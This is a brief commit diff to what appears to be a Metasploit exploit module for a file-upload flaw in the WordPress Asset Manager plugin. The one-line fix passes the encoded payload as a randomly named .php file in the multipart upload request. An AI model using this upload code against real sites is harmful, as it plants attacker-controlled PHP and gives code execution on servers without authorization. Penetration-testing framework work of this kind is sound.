Fixed variable

Author: firefart

modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb

@@ -57,7 +57,7 @@ def exploit
     payload_name = "#{rand_text_alpha(5)}.php"
 
     data = Rex::MIME::Message.new
-    data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
+    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
     post_data = data.to_s
 
     print_status("#{peer} - Uploading payload #{payload_name}")